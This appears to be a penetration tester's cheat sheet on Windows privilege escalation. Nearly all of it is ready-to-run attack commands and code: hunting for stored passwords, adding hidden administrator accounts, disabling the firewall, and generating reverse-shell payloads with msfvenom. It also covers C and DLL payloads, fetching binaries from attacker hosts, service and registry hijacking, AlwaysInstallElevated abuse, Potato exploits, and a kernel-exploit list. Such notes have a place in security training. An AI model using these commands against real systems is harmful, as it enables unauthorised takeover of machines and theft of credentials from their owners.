Manual Exploitation

There are several key pieces of information we should always obtain:

- Username and hostname
- Group memberships of the current user
- Existing users and groups
- Operating system, version and architecture
- Network information
- Installed applications
- Running processes

Windows Structure

  • Named drives i.e. A, B, C, D

  • \Program Files and \Program Files (x86)

    • all programs are in these two directories

    • x86 is for 32-bit and 16-bit programs

  • \Users

    • User profile folders which contain files for that specific user

    • Desktop, Downloads, Documents, Picture, Music

  • \Windows

    • Have both \system and \system32 folders

    • Contain exe and dll files

  • \Inetpub Default directory for IIS (web server)

Operating System

What is the OS and architecture? Is it missing any patches? (!)

systeminfo

wmic qfe

systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

Users

Who are you? (!)

whoami

whoami /all
# shows all information about that user

hostname

echo %USERNAME%

$env:UserName

All users

What users are on the system? Any old user profiles that weren’t cleaned up? We list the other user accounts on the box and view our own user's information in a bit more detail.

net users

net user administrator
# Get information for particular user

dir /b /ad "C:\Users\"

dir /b /ad "C:\Documents and Settings\" # Windows XP and below
Get-LocalUser | ft Name,Enabled,LastLogon

Get-ChildItem C:\Users -Force | select Name

Add User

Adding user that is part of the Administrator group

net user test test /add && net localgroup Administrators test /add

Groups

What groups are on the system?

net localgroup
Get-LocalGroup | ft Name
Get-LocalGroupMember adminteam

Autologon

Anything in the Registry for User Autologon?

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon

if we got any auto log on enabled , we can use the winexe command to spawn a shell using these credentials:

winexe -U 'admin%password123' //192.168.1.22 cmd.exe

Powershell

Get History File path:

(Get-PSReadlineOption).HistorySavePath

Connect to endpoint using WinRM:

evil-winrm -i 192.168.50.220 -u daveadmin -p "qwertqwertqwert123\!\!"

Powershell Scriptlogging Events:

Get-WinEvent -LogName Microsoft-Windows-PowerShell/Operational | Where-Object Id -eq 4104

Programs, Processes, and Services

Softwares

What software is installed?

dir /a "C:\Program Files"

dir /a "C:\Program Files (x86)"

reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime

Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

Running Processes

Get-Process
Get-Process | Select-Object ProcessName, Path
Get-Process | Select-Object Id, ProcessName, Path | Format-Table -AutoSize

Services

What are the running processes/services on the system? Is there an inside service not exposed? If so, can we open it?

tasklist /svc

tasklist /v

net start

sc query
# information about services and drivers can be obtained

sc start service_name
# To start service

sc stop service_name
# To stop running service

This one liner returns the process owner without admin rights, if something is blank under owner it’s probably running as SYSTEM, NETWORK SERVICE, or LOCAL SERVICE.

Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

scheduled tasks

What scheduled tasks are there? Anything custom implemented?

schtasks /query /fo LIST 2>nul | findstr TaskName

dir C:\windows\tasks

schtasks /query /fo LIST /v

Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

Networking

NICs

What NICs are connected? Are there multiple networks?

ipconfig /all

Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address

Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Routes

What routes do we have?

route print

Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

ARP

Anything in the ARP cache?

arp -a

Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State

Connections

Are there connections to other hosts?

netstat -ano

Host File

C:\WINDOWS\System32\drivers\etc\hosts

Firewall

Is the firewall turned on? If so what’s configured?

netsh firewall show state

netsh firewall show config

netsh advfirewall firewall show rule name=all

netsh advfirewall export "firewall.txt"

netsh firewall set opmode mode=disable
# To Disable firewall

Enable RDP

reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0

netsh firewall set service remoteadmin enable

netsh firewall set service remotedesktop enable

SNMP configurations

reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse

Weak Files and Folder permissions

Listing files

dir /a
# list all files (even hidden files)

dir /s
# searches folders

dir /s *password*
# search the system for files containing 'password' in the filename

findstr /si password *.txt*
# search for specific keyword in txt file

Icacls

Are there any weak folder or file permissions? Full Permissions for Everyone or Users on Program Folders?

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"

icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}} 

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Modify Permissions for Everyone or Users on Program Folders?

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "Everyone"

icacls "C:\Program Files\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users" 

icacls "C:\Program Files (x86)\*" 2>nul | findstr "(M)" | findstr "BUILTIN\Users"

Sensitive Information

Yes, passwords.

Even administrators re-use their passwords, or leave their passwords on systems in readable locations.

Windows can be especially vulnerable to this, as several features of Windows store passwords insecurely.Example:

C:\Users\Administrator\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Check Pasword in:

<credentialsProfiles>
      <credentialsProfile inherit="None">
        <profileName scope="Local">SECURE\apache</profileName>
        <userName>apache</userName>
        <password>New2Pika4.!</password>
        <domain>SECURE</domain>
      </credentialsProfile>
</credentialsProfiles>

Registry

Searching registry for password

reg query HKCU /f password /t REG_SZ /s

reg query HKLM /f password /t REG_SZ /s
.\winPEASany.exe quiet filesinfo userinfo

If we got any credentials we can use winexe to login into box

winexe -U 'admin%password123' //192.168.1.22 cmd.exe

Autologon

Anything in the Registry for User Autologon?

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"

Get-ItemProperty -Path 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon

if we got any auto log on enabled , we can use the winexe command to spawn a shell using these credentials:

winexe -U 'admin%password123' //192.168.1.22 cmd.exe

Saved Creds

Windows has a runas command which allows users to run commands with the privileges of other users.

This usually requires the knowledge of the other user’s password.

However, Windows also allows users to save their credentials to the system, and these saved credentials can be used to bypass this requirement.

cmdkey /list

.\winPEASany.exe quiet cmd windowscreds

We can use the saved credential to run any command as the admin user. Start a listener on Kali and run the reverse shell executable:

runas /savecred /user:admin C:\PrivEsc\reverse.exe

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

runas /savecred /user:Administrator "cmd.exe /k whoami"

Configuration Files

Some administrators will leave configurations files on the system with passwords in them.

The Unattend.xml file is an example of this.

It allows for the largely automated setup of Windows systems.

Get-ChildItem -Path C:\Users\ -Include *.ini,*.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx -File -Recurse -ErrorAction SilentlyContinue

dir /s *pass* == *.config
# Recursively search for files in the current directory with “pass” in the name, or ending in “.config”

findstr /si password *.xml *.ini *.txt
# Recursively search for files in the current directory that contain the word “password” and also end in either .xml, .ini, or .txt

Is XAMPP, Apache, or PHP installed? Any there any XAMPP, Apache, or PHP configuration files?

dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf

Get-Childitem –Path C:\ -Include php.ini,httpd.conf,httpd-xampp.conf,my.ini,my.cnf -File -Recurse -ErrorAction SilentlyContinue

Once again we can simply use winexe to spawn a shell as the admin user.

Unattend and sysprep

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

IIS

If the server is an IIS webserver, what’s in inetpub? Any hidden directories? web.config files?

dir /a C:\inetpub\

dir /s web.config

C:\Windows\System32\inetsrv\config\applicationHost.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

What’s in the IIS Logs?

C:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log
C:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log

Unquoted Service Path

The Unquoted Service Paths vulnerability is a vulnerability that arises out of the way Windows interprets a file path for a service binary (executable). File paths that contain spaces, should be enclosed in double-quotes. If not, there’s a potential Unquoted Service Path vulnerability.

Usually it looks like this:

C:\Program.exe
C:\Program Files\My.exe
C:\Program Files\My Program\My.exe
C:\Program Files\My Program\My service\service.exe

For example, the following path would be vulnerable:

C:\Program Files\something\winamp.exe

Not vulnerable

"C:\Program Files\something\winamp.exe"

We could place our payload with any of the following paths:

C:\winamp.exe (this is a reverse shell with the same names as legal program)

Required Things -

  1. A service with an "unquoted" binary path containing one or more spaces in the path.

  2. Write permission for any of the folder containing spaces.

  3. A way to reboot the service or system in order to execute a payload.

Finding unquoted services

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

sc qc <service_name>
# verify with sc

Checking writable permission

icacls "C:\Program Files (x86)\Program Folder"

Creating malicious program

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[LHOST IP] LPORT=443 -f exe -o Some.exe

Or do it via a static binary:

#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user dave password456! /add");
  i = system ("net localgroup administrators davex /add");
  
  return 0;
}

Compile Binary:

x86_64-w64-mingw32-gcc adduser.c -o adduser.exe

Replace binary:

iwr -uri http://192.168.1.3/adduser.exe -Outfile adduser.exe
move C:\xampp\mysql\bin\mysqld.exe mysqld.exe
move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe

We can also use PowerUp to see paths for escalating priv:

cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
python3 -m http.server 80
iwr -uri http://192.168.48.3/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
 . .\PowerUp.ps1
Get-ModifiableServiceFile
Get-UnquotedService

Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
Restart-Service GammaService

Managing Services

once we transferred our payload to particular directory , we can restart the service to execute it

sc stop <service_name> 

sc start <service_name>

AlwaysInstallElevated

AlwaysInstallElevated is a Windows setting that allows non-privileged users to install Microsoft Windows Installer Package Files (MSI) with elevated system permissions. This means that we can use this feature to execute a malicious MSI installer package with administrator permissions. To achieve this, two registry entries have to be set to the value 1 to be enabled.

Check the value of these registry keys

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
$ Get-ItemProperty HKLM\Software\Policies\Microsoft\Windows\Installer

$ Get-ItemProperty HKCU\Software\Policies\Microsoft\Windows\Installer

Generating Payload

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST=[LHOST IP] LPORT=443 -f msi -o filename.msi

Executing msi file

msiexec /quiet /qn /i C:\Users\filename.msi

Unattended Installs

Unattended Installs allow Windows to be deployed with little or no active involvement from an administrator. If administrators fail to clean up after such a process, an EXtensible Markup Language (XML) file called Unattend is left on the local system. This file contains all the configuration settings that were set during the installation process, some of which can involve the configuration of local accounts including Administrator accounts!

C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml

dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b

dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
# Display the content of these files

Unattend credentials are stored in base64 and can be decoded manually with base64.

$PATH Interception

Requirements:

  • PATH contains a writeable folder with low privileges.

  • The writeable folder is before the folder that contains the legitimate binary.

List contents of the PATH environment variables

$env:Path

# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32

Checking writable permission

icacls.exe "C:\Program Files\nodejs\"

Placing malicious binary

copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"

Kernel Exploitation

Finding kernel exploit

Finding and using kernel exploits is usually a simple process:

  1. Enumerate Windows version / patch level (systeminfo).

systeminfo

Check patches, if not listed by systeminfo:

Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }

  1. Find matching exploits (Google, ExploitDB, GitHub).

  2. Compile and run.

Known Exploits

List of exploits kernel : https://github.com/SecWiki/windows-kernel-exploits

#Security Bulletin #KB #Description #Operating System

  • MS17-017  [KB4013081]  [GDI Palette Objects Local Privilege Escalation]  (windows 7/8)

  • CVE-2017-8464  [LNK Remote Code Execution Vulnerability]  (windows 10/8.1/7/2016/2010/2008)

  • CVE-2017-0213  [Windows COM Elevation of Privilege Vulnerability]  (windows 10/8.1/7/2016/2010/2008)

  • CVE-2018-0833 [SMBv3 Null Pointer Dereference Denial of Service] (Windows 8.1/Server 2012 R2)

  • CVE-2018-8120 [Win32k Elevation of Privilege Vulnerability] (Windows 7 SP1/2008 SP2,2008 R2 SP1)

  • MS17-010  [KB4013389]  [Windows Kernel Mode Drivers]  (windows 7/2008/2003/XP)

  • MS16-135  [KB3199135]  [Windows Kernel Mode Drivers]  (2016)

  • MS16-111  [KB3186973]  [kernel api]  (Windows 10 10586 (32/64)/8.1)

  • MS16-098  [KB3178466]  [Kernel Driver]  (Win 8.1)

  • MS16-075  [KB3164038]  [Hot Potato]  (2003/2008/7/8/2012)

  • MS16-034  [KB3143145]  [Kernel Driver]  (2008/7/8/10/2012)

  • MS16-032  [KB3143141]  [Secondary Logon Handle]  (2008/7/8/10/2012)

  • MS16-016  [KB3136041]  [WebDAV]  (2008/Vista/7)

  • MS16-014  [K3134228]  [remote code execution]  (2008/Vista/7) ...

  • MS03-026  [KB823980]   [Buffer Overrun In RPC Interface]  (/NT/2000/XP/2003)

Important Tools

Windows Exploit Suggester: https://github.com/bitsadmin/wesng

Precompiled Kernel Exploits: https://github.com/SecWiki/windows-kernel-exploits

Watson: https://github.com/rasta-mouse/Watson

Hot Potatoes

Service Accounts -

Service accounts can be given special privileges in order for them to run their services, and cannot be logged into directly.

Unfortunately, multiple problems have been found with service accounts, making them easier to escalate privileges with.

C:\Windows\Temp>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAuditPrivilege              Generate security audits                  Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

C:\Windows\Temp>

"SeImpersonatePrivilege" is enabled so we can impersonate other users

If the machine is >= Windows 10 1809 & Windows Server 2019 - Try Rogue Potato If the machine is < Windows 10 1809 < Windows Server 2019 - Try Juicy Potato

SigmaPotato:

wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
python3 -m http.server 80
iwr -uri http://192.168.1.3/SigmaPotato.exe -OutFile SigmaPotato.exe
.\SigmaPotato "net user dave4 lab /add"

https://github.com/itm4n/PrintSpoofer?tab=readme-ov-file

Juicy Potato

LogoGitHub - ohpe/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.GitHub

Vulnerable Win versions

Windows 7 Enterprise
Windows 8.1 Enterprise
Windows 10 Enterprise
Windows 10 Professional
Windows Server 2008 R2 Enterprise
Windows Server 2012 Datacenter
Windows Server 2016 Standard

1. Create paylaod

msfvenom -p cmd/windows/reverse_powershell lhost=10.10.12.15 lport=4444 > shell.bat

msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.3 LPORT=1337 -f exe > shell.exe
# If above payload failed to give stable connection

2. Transfer shell.bat and jp.exe to target box

3. Run JuicyPotato

./jp.exe -t * -p shell.bat -l 4444

-t: Create process call. For this option we’ll use * to test both options.
-p: The program to run. We’ll need to create a file that sends a reverse shell back to our attack machine.
-l: COM server listen port. This can be anything. We’ll use 4444.

Along with community string if default is failed

CLSID List -

./jp.exe -t * -p shell.bat -l 4444 -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

Rogue Potato

# Network redirector / port forwarder to run on your remote machine, must use port 135 as src port
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999

# RoguePotato without running RogueOxidResolver locally. You should run the RogueOxidResolver.exe on your remote machine. 
# Use this if you have fw restrictions.
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe"

# RoguePotato all in one with RogueOxidResolver running locally on port 9999
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999

#RoguePotato all in one with RogueOxidResolver running locally on port 9999 and specific clsid and custom pipename
RoguePotato.exe -r 10.0.0.3 -e "C:\windows\system32\cmd.exe" -l 9999 -c "{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}" -p splintercode

Insecure Service PermissionsEach service has an ACL which defines certain service-specific permissions.

Some permissions are innocuous (e.g. SERVICE_QUERY_CONFIG, SERVICE_QUERY_STATUS).

Some may be useful (e.g. SERVICE_STOP, SERVICE_START).

Some are dangerous (e.g. SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS)

If our user has permission to change the configuration of a service which runs with SYSTEM privileges, we can change the executable the service uses to one of our own.

Potential Rabit Hole: If you can change a service configuration but cannot stop/start the service, you may not be able to escalate privileges!

Identifying Service

.\accesschk.exe /accepteula -uwcqv user daclsvc

sc query state= all | findstr "SERVICE_NAME:" >> a & FOR /F "tokens=2 delims= " %i in (a) DO @echo %i >> b & FOR /F %i in (b) DO @(@echo %i & @sc sdshow %i & @echo ---------) & del a 2>nul & del b 2>nul
# Obtain the permission string of all services

The following commands will print the affected services:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

Check the current configuration and status of the service

sc qc <service>

sc query <service>

Putting our malicious payload

sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""

Starting service

start listener on your kali and start the service on target box

net start <service>

Weak Registry Permissions

The Windows registry stores entries for each service. Since registry entries can have ACLs, if the ACL is misconfigured, it may be possible to modify a service’s configuration even if we cannot modify the service directly.

Identifying weak registry

Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List

.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

Overwriting registry key to add reverse shell

reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f

Starting service

start listener on your kali and start the service on target box

net start <service>

DLL Hijacking:

DLL Safe Loading Order:

1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory. 
5. The current directory.
6. The directories that are listed in the PATH environment variable.

Testing if you have access to write in the folder:

echo "test" > 'C:\FileZilla\FileZilla FTP Client\test.txt'
type 'C:\FileZilla\FileZilla FTP Client\test.txt'

Find out which DLL it loads:

Before we create a DLL, let's briefly review how attaching a DLL works and how it may lead us to code execution. Each DLL can have an optional entry point function named DllMain, which is executed when processes or threads attach the DLL. This function generally contains four cases named DLL_PROCESS_ATTACH, DLL_THREAD_ATTACH, DLL_THREAD_DETACH, DLL_PROCESS_DETACH. These cases handle situations when the DLL is loaded or unloaded by a process or thread. They are commonly used to perform initialization tasks for the DLL or tasks related to exiting the DLL. If a DLL doesn't have a DllMain entry point function, it only provides resources.

The following listing shows us a code example from Microsoft, outlining a basic DLL in C++ containing these four cases. The DLL code contains the entry point function DllMain and the previously mentioned cases in a switch statement. Depending on the value of ul_reason_for_call one of these cases gets executed. As of now, all cases only use a break statement.

The provided comments from Microsoft state that DLL_PROCESS_ATTACH is used when a process is loading the DLL. Since the target binary process in our example tries to load the DLL, this is the case we need to add our code to.

Let's reuse the C code from the previous section by adding the include statement as well as the system function calls to the C++ DLL code. Additionally, we need to use an include statement for the header file windows.h, since we use Windows specific data types such as BOOL. The final code is shown in the following listing.

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        //INSERT BAD CODE HERE
        int i;
  	    i = system ("net user dave3 password123! /add");
  	    i = system ("net localgroup administrators dave3 /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

Now, let's cross-compile the code with mingw. We use the same command as in the previous section but change the input code file, the output name, and add --shared to specify that we want to build a DLL.

x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dll
iwr -uri http://192.168.48.3/TextShaping.dll -OutFile 
'C:\FileZilla\FileZilla FTP Client\TextShaping.dll'

OR:

  1. Find Missing DLLs using Process Monitor, Identify a specific service which looks suspicious and add a filter.

  2. Check whether you have write permissions in the directory associated with the service.

# Create a reverse-shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attaker-IP> LPORT=<listening-port> -f dll > filename.dll
  1. Copy it to victim machine and them move it to the service associated directory.(Make sure the dll name is similar to missing name)

  2. Start listener and restart service, you'll get a shell.

Last updated